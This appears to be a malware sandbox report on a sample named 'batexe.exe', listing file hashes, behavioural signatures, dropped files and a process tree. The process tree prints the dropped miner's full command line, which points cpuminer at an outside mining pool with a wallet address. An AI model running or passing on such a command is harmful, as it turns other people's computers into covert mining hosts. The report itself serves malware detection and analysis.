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Analysis
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max time kernel
294s -
max time network
299s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
11/02/2024, 15:21
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20231215-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
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Target
batexe.exe
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Size
9.4MB
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MD5
cdc9eacffc6d2bf43153815043064427
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SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
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SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
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SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
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SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 5308 b2e.exe 1716 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 1716 cpuminer-sse2.exe 1716 cpuminer-sse2.exe 1716 cpuminer-sse2.exe 1716 cpuminer-sse2.exe 1716 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/4164-9-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4164 wrote to memory of 5308 4164 batexe.exe 85 PID 4164 wrote to memory of 5308 4164 batexe.exe 85 PID 4164 wrote to memory of 5308 4164 batexe.exe 85 PID 5308 wrote to memory of 3608 5308 b2e.exe 86 PID 5308 wrote to memory of 3608 5308 b2e.exe 86 PID 5308 wrote to memory of 3608 5308 b2e.exe 86 PID 3608 wrote to memory of 1716 3608 cmd.exe 89 PID 3608 wrote to memory of 1716 3608 cmd.exe 89
Processes
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C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4164 -
C:\Users\Admin\AppData\Local\Temp\5CA7.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\5CA7.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5CA7.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5308 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5FC3.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:3608 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1716
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.8MB
MD58df4d1e07a73353f8638cc80bce4d38f
SHA1bf9c8bd089fb4a377d49cb9e0eb8534abcb2fd64
SHA256cd6adf8ba0c209c8146857f355760d7445357725afc631d58ee04fcd8518444b
SHA5123d1297defc914047740681b2a177ca10c49f1d5080ed3ae2b2e8da1a32ba37e165cb325a9c1f6f83e5c012f21fa7ef06b4ad9356f0a625ead94c9dee5934b857
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Filesize
2.0MB
MD585512e3b5a9e92d236f47b7abb59cba4
SHA1dd0086d08a28aef0d5ca4d44e5abc9ab5e172d31
SHA2564d23ef0fc227ef659188d13229d22c0e6d7fa6336ace4042db02a11779fec786
SHA51236d5a81646d4250e5dbf3212b9b86c2e7f98c9f8e8938f22c06c7aefb6f8237ce52004f08d1613bafb98d938e36b22bca3fdd610d8192737f330d8106323f739
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Filesize
1.7MB
MD5eb27cc75dae5ffe7c963c2b17091df0b
SHA16a508c524362d86346732e24c092df9ecf83dfa9
SHA2568ba23b480b5a8350629ba883a9f60ae041d16b69968650badd8529b7e8202236
SHA51272831d6a87a60558e52f2d0e3e3f9186daee9538afe46534346963165f61e5c06bba1334bc8dbea7c36fda84d474128eb2c2c38884d14ff85131cc5a1fe63b17
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Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
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Filesize
2.3MB
MD54c04147c386ba8792ac6a03069572a8a
SHA1dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA256c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
SHA512a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
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Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
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Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
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Filesize
4.3MB
MD5448df14b5d08dd22b58897d4a4c51434
SHA1ec1bca9a995308d182cb749998a75ff880c9410e
SHA25622c6c9bd04e46a72053de3ecae10bab83690a6fa3227eb9da248e0bc4243279e
SHA51259919a4d486244c949163529e6f8f4bcd775a8f93fdc0990a846fa1d927299338d8631e3adb28a4a382ccbb2b4b1cc7dc8cdd41a4b0ce8e87cc117137397fd8a
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Filesize
3.4MB
MD5976ddecec906ee6345b38342837591fa
SHA1bbeb49a2d893932d72c13aa566db7bedc6df7347
SHA256a9231199fca737901fd209351fb51a39c9b9d3fe9fcebc173db5dbc285537633
SHA512ac0ad286f68ace0a042ec8fd30f26bffd9e5bca0b8c87640436fda3f1a392f2caf4b89434fe7f0ebd18656610a1de34025193efd58e7901549957dfc31d67fab
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Filesize
4.2MB
MD5e5dde8fb7f3ec2fabb34d64bfb44a4f3
SHA1842f0be2181b551ca2553769922ac96b34b8f9ea
SHA256081fe8174e7cbd86f81c5b645365c494925c9f6decaa3756afac5b4ae5dd5bba
SHA5129ec6c9ec737da968cfddf64149a8433e2252b193303c90da4f786d828b3772f56b40247f9d41e863d440904fdb888fdb3af33d0d33ed19744e2c6059ad9f4752
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Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770